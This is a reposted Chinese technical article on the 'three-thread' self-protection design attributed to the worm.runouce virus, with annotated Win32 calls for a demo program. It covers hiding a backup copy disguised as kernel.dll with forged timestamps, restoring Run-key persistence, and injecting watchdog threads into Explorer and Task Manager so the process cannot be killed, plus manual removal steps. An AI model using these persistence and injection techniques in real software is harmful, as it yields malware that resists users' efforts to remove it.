青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

牽著老婆滿街逛

嚴以律己,寬以待人. 三思而后行.
GMail/GTalk: yanglinbo#google.com;
MSN/Email: tx7do#yahoo.com.cn;
QQ: 3 0 3 3 9 6 9 2 0 .

淺析三線程程序開發思路與實現

來源:http://www.vckbase.com/document/viewdoc/?id=754

淺析三線程程序開發思路與實現
Author: TOo2y [原創]
E-mail: Brief@safechina.net
Homepage: www.safechina.net & http://fz5fz.yeah.net
Date: 11-27-2002


源代碼1:三線程誘鼠器源代碼

作者注:
    謹以此文紀念在“11.27”慘案中殉難的紅巖烈士們!

一、前言
    中國黑客(worm.runouce)病毒在國內出現以后,各大反病毒公司都對其進行了“仔細”的分析,得出一個結論:“中國黑客”發現了全球首創的“三 線程”結構。這是金*公司對外的宣傳詞,我個人對病毒沒什么研究,并且我對worm.runouce沒有任何的個人看法,不過我可以確信的是很多反病毒公 司往往在夸大事實,目的只有一個:讓更多的用戶覺得某某病毒很可怕,讓更多的用戶相信只有某某公司的殺毒軟件才可以徹底將病毒清除掉。其實三線程并沒有好 高深的技術,不過ideal is wonderful。現在就讓我們一步步揭開三線程程序開發的神秘面紗。

二、三線程程序開發思路
    在操作系統中,進程是存儲器,外設等資源的分配單位,同時也是處理器調度的對象,但為了提高進程內的并發性,windows系統中引入了線程這個概念(在 很多其他操作系統中同樣也有線程的概念,由于在2001年微軟停止了window9x內核的研發,所以本文只針對windowx2000/xp操作系 統),這時系統把線程作為處理器調度的對象,一個進程可以同時擁有多個并發的線程。通常情況下的簡單程序就只有一個主線程,它是在進程創建時自動生成的。 我們可以將想要執行的代碼放在主線程里,然后再生成兩個輔助線程,它們的功能就是實現對程序的保護功能,防止程序被用戶關閉或刪除。在此,稱我們的可執行 文件的進程為主進程。

    主線程需要完成的任務有三個,它們分別是準備工作,創建輔助線程和程序主要功能的實現。準備工作當然是為程序運行過程中所需要的一些部件做好準備,其中包 括文件復制和保存,一般情況下是把可執行文件復制到系統目錄下。當然為了防止意外刪除,我們可以將程序的可執行文件備份,不過要注意修改一些屬性(文件類 型,大小,日期,屬性),這樣就不容易被發現與我們的可執行文件有關聯了。創建輔助線程包括兩個線程,一個駐留在主進程體內,另一個通過創建遠程線程駐留 到其他正在運行的進程體內。這兩個線程的功能就是監視其他進程或線程的運行情況,如果出現異常立即恢復。程序的主要功能就不用多說了,想干什么就干什么, 一般是一些不想讓用戶關閉的程序。

    駐留主進程體內的線程同時觀察注冊表和遠程進程的情況。它實時查詢注冊表里 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run鍵下相關可執行文 件的鍵值,如果被刪除就立即將其添加上。這就是對注冊表的實時監視,使得每次開機時都會運行我們的可執行文件。而另一個功能則是監視駐留在遠程進程體內輔 助線程的運行情況,如果該線程被關閉,立即通過創建遠程線程將被關閉的線程駐留到特定的進程內。如果你知道了輔助線程是駐留在那個進程內的,你就可以將這 個遠程進程關閉掉。但是我們還是可以將輔助線程駐留到其他的遠程進程內。至于選定哪個遠程進程,完全視你的心情而定。

    駐留在遠程進程體內的輔助線程則監視主進程的運行情況,如果主進程被kill了,它會確認程序的可執行文件是否也被刪除掉了。如果系統目錄下的可執行文件 不存在了,則用我們備份的文件恢復可執行文件,然后再重新啟動程序,這樣你在任務管理器里怎么也刪除不了主進程。由于我們是創建遠程線程,所以必須把線程 的代碼和線程所需要的參數都復制到遠程進程的地址空間里。這是因為在windows2000/xp環境下,訪問其他進程地址空間是違規的。我們把代碼和參 數復制過去后,線程就完全在遠程進程的地址空間運行了。我們可以看到,通過兩個輔助線程,就很難把主進程關閉或刪除掉。

    現在我們就以一個誘鼠器為例,來分析三線程的程序結構,如下圖:

  |---------->-----------|  
remote ---<--- T-mouse --->--- watch --->--- Registry
  |------------------<--------------------|

    其中T-mouse為主進程/主線程,remote為創建的遠程線程,watch為本地的輔助監視線程,Registry為注冊表文件。T-mouse創 建remote和watch兩個線程,remote監視T-mouse主進程,watch監視注冊表文件和remote線程。  
   
三、核心代碼分析
    本文的程序僅針對windows2000/xp操作系統,程序中使用的UNICODE編碼。測試環境:Windows2000 + SP2 + VC6.0。整個程序分主線程main,本地輔助監視線程watch,遠程線程remote,還包括獲得進程ID的processtopid和創建遠程線程的createremote兩個自定義函數。

1.主線程:main
    GetSystemDirectory(syspath,MAX_PATH);
    //獲得操作系統的系統目錄;
    FindFirstFile(tname,&fdata);
    //查詢系統目錄下的T-mouse.exe是否存在;
    CopyFile(curname,tname,TRUE);
    //如果系統目錄下沒有,在將正在運行的程序復制到系統目錄下;
    FindClose(ffhandle);
    //在查詢完畢后,關閉相關句柄;
    CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    //打開系統目錄下的備份文件kernel.dll;
    SetFileTime(fchandle,&ftime,NULL,&ftime);
    //修改kernel.dll的創建時間,修改時間;
    SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );
    //設置kernel.dll的屬性為只讀,系統及隱藏;
    CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
    //創建駐留在主進程內的輔助監視線程

2.本地輔助監視線程:watch
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);
    //以查詢方式打開注冊表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run;
    RegQueryValueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
    //查詢是否存在T-mouse的鍵值;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
    //如果沒有相關鍵值,就以寫方式再次打開注冊表;
    RegSetValueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
    //寫入我們想要的東西,系統每次啟動都會運行我們的可執行文件;
    GetExitCodeThread(wethread,&exitcode);
    //獲得遠程線程的運行情況,看是否為STILL_ACTIVE,如果不是則創建遠程線程;
   
3.遠程線程:remote
    tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
    //以所有可能的訪問方式打開主進程,以便監視主進程的運行情況;
    tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
    //等待直到主進程結束;
    tWinExec(erp->rpwinexecname, 0);
    //重新啟動我們的可執行文件;

4.獲得進程ID:processtopid
    EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
    //列舉所有的進程
    OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
    //以查詢信息和讀取的方式打開進程
    EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
    //獲得進程模塊的句柄
    GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
    //獲得特定模塊的名字,以備比較

5.創建遠程線程:createremote
    OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
    //PROCESS_CREATE_THREAD for CreateRemoteThread
    //PROCESS_VM_OPERATION  for VirtualAllocEx
    //PROCESS_VM_WRITE      for WriteProcessMemory
    VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    //在遠程進程中分配空間,以備將線程代碼置入其中;
    WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
    //將遠程線程remote的代碼寫入到遠程進程的地址空間中
    WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
    //將遠程線程所需的參數也寫入到遠程進程的地址空間中
    CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
    //創建遠程監視線程

四、小結與后記
    我們已經看到,創建三線程就是為了更好的保護程序自身不被關閉和刪除。兩個輔助線程相互實時監視,如果監視對象被關閉了,就重新創建線程或進程。其實,在 程序中我們選擇的遠程進程駐體為Explorer.exe和Taskmgr.exe。在通常情況下,如果用戶知道了遠程線程的駐體為資源管理器后,就會打 開任務管理器來結束Explorer,這時我們再把遠程線程駐入到任務管理器中。也就是說,只要Explorer或Taskmgr有一個存在,就不可能結 束主進程。如果有其他Kill進程的工具,你就可以將其關閉掉,只要資源管理器和任務管理器均不存在時,就沒有駐體來維持遠程進程。不過,如果我們選擇的 遠程進程為隨機的,這就不容易發現了;如果我們選擇的遠程進程為系統文件(如smss.exe會話管理器),那么你是不會安全的結束遠程線程,除非系統崩 潰。

    如何不用其他的工具將其關閉并刪除呢?你也可以進入到DOS或Safe模式下,將系統目錄下的可執行文件刪除,然后重啟系統。這時,就不會自動運行程序 了,然后將注冊表里RUN鍵下的相關鍵值,系統目錄下的備份文件及首次運行的可執行文件刪除就徹底清楚了。在調試程序時,為了對遠程線程的運行情況有所了 解,我們使用了工具Dbgview.exe。


關于:

FZ5FZ,我們主要從事網絡/系統安全的學習與研究,深入編程技術的剖析與探討,堅持原創,追求共享。
FZ5FZ  主頁:http://fz5fz.yeah.net


posted on 2007-10-25 17:19 楊粼波 閱讀(254) 評論(0)  編輯 收藏 引用

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲乱码国产乱码精品精| 日韩天堂在线观看| 暖暖成人免费视频| 久久亚洲精品伦理| 久久男人资源视频| 久久青草欧美一区二区三区| 久久久久国产一区二区三区四区| 欧美一区二区三区久久精品茉莉花| 亚洲欧美国产一区二区三区| 先锋影音国产精品| 久久一区免费| 欧美精品色综合| 国产精品va在线播放| 国产日韩视频| 在线观看视频一区二区| 亚洲激情二区| 一区二区三区四区国产精品| 久久不射电影网| 欧美激情在线免费观看| 国产伦精品免费视频| 亚洲欧美日本日韩| 亚洲欧美一区二区激情| 久久成人精品| 欧美激情第六页| 国产精品视频yy9099| 激情综合视频| 国产精品99久久久久久久vr| 欧美中文字幕精品| 亚洲国产一二三| av成人免费在线| 久久精品一二三| 欧美日韩国产在线播放网站| 国产一区二区主播在线| 亚洲美女视频网| 久久久人人人| 一区二区三区精品视频| 久久精品亚洲一区二区三区浴池| 欧美四级在线观看| 91久久夜色精品国产九色| 午夜精品久久久久久久久久久久 | 免费看亚洲片| 国产精品一区二区久久 | 麻豆国产精品777777在线| 亚洲三级免费观看| 久久免费精品日本久久中文字幕| 国产精品久久9| 99精品视频免费全部在线| 欧美福利电影网| 久久黄金**| 国内久久婷婷综合| 久久久国产一区二区| 亚洲综合色婷婷| 欧美日韩蜜桃| 一区二区三区视频在线观看 | 欧美成人精品| 欧美一区二粉嫩精品国产一线天| 欧美日韩亚洲一区三区 | 欧美 日韩 国产在线| 欧美在线观看视频| 国产欧美一区二区三区久久人妖| 亚洲系列中文字幕| 亚洲人成网站在线观看播放| 欧美成人午夜影院| 亚洲精品日韩激情在线电影| 欧美波霸影院| 另类图片综合电影| 亚洲免费成人av电影| 亚洲激情视频在线| 欧美精品久久一区二区| 在线视频欧美一区| 亚洲视频在线观看免费| 欧美日韩裸体免费视频| 一本色道久久综合亚洲精品小说| 亚洲欧洲三级| 国产精品v亚洲精品v日韩精品| 亚洲一区二区三区四区在线观看 | 欧美日一区二区三区在线观看国产免| 亚洲国产婷婷香蕉久久久久久99 | 国产热re99久久6国产精品| 欧美亚洲色图校园春色| 欧美一二区视频| 永久免费精品影视网站| 欧美福利电影在线观看| 欧美美女操人视频| 午夜精品理论片| 久久久久se| 亚洲人成在线播放网站岛国| 亚洲精品免费一区二区三区| 国产精品美女主播| 免费视频一区二区三区在线观看| 欧美11—12娇小xxxx| 亚洲一区二区免费在线| 久久国产色av| 一本色道久久88精品综合| 亚洲在线第一页| 在线观看久久av| 99成人在线| 亚洲国产视频直播| 亚洲免费视频成人| 亚洲精品久久嫩草网站秘色| 亚洲私人影院在线观看| 136国产福利精品导航网址| 一本久久综合亚洲鲁鲁| 激情六月婷婷久久| 中文一区二区| 亚洲欧洲视频| 欧美中文字幕久久| 亚洲一区欧美激情| 理论片一区二区在线| 西西裸体人体做爰大胆久久久| 欧美a级大片| 久久人人超碰| 国产免费亚洲高清| 一个色综合导航| 亚洲片在线观看| 久久久久久黄| 久久久久亚洲综合| 国产欧美日韩视频一区二区| 亚洲精品日韩综合观看成人91| 黄色成人在线网址| 午夜精品偷拍| 午夜精品久久久久久久99热浪潮| 欧美阿v一级看视频| 久久综合色婷婷| 蜜臀va亚洲va欧美va天堂 | 亚洲精品一区二区三区婷婷月| 国产午夜精品全部视频播放| 一本色道久久综合亚洲精品高清 | 国产精品欧美日韩一区| 亚洲精品在线免费观看视频| 亚洲第一精品久久忘忧草社区| 欧美一级大片在线观看| 性亚洲最疯狂xxxx高清| 国产精品国产三级国产aⅴ无密码| 亚洲国产视频直播| 亚洲日本va午夜在线电影| 久久久亚洲成人| 免费不卡在线视频| 在线播放不卡| 免费看黄裸体一级大秀欧美| 欧美激情精品久久久六区热门 | 日韩午夜电影| 欧美不卡一卡二卡免费版| 欧美国产日韩一二三区| 亚洲经典三级| 欧美福利视频在线| 亚洲国产成人在线视频| 亚洲精品偷拍| 欧美日韩国内自拍| 亚洲国产精品t66y| av成人免费观看| 国产精品久久久久久亚洲调教| 一区二区三区视频在线| 欧美一级久久| 精品电影在线观看| 欧美成人免费网| 亚洲视频精品| 久久频这里精品99香蕉| 亚洲精品久久久蜜桃| 欧美三日本三级三级在线播放| 一本久道久久综合中文字幕| 久久精品成人| 亚洲国产精品一区制服丝袜| 欧美人与禽猛交乱配| 午夜欧美大片免费观看| 女人香蕉久久**毛片精品| 亚洲图片欧美日产| 在线观看福利一区| 欧美午夜精品理论片a级大开眼界| 午夜在线视频观看日韩17c| 欧美激情1区| 欧美一区二区三区视频免费播放| 精品福利免费观看| 欧美日韩a区| 久久精品国产成人| 日韩视频永久免费| 久久久久久久久久久久久女国产乱 | 99精品国产在热久久婷婷| 性做久久久久久免费观看欧美| 国产一级揄自揄精品视频| 91久久精品美女| 亚洲女同性videos| 亚洲成色www久久网站| 国产欧美精品日韩区二区麻豆天美| 久久一二三四| 亚洲欧美日韩另类| 亚洲日本国产| 久热精品在线| 午夜精品美女自拍福到在线| 亚洲人成人一区二区在线观看| 国产精品视频xxx| 欧美精品尤物在线| 久久在线播放| 亚洲欧美99| 宅男精品视频| 亚洲精品在线免费| 亚洲欧洲日本国产| 欧美激情精品| 欧美成人首页| 久久影视精品|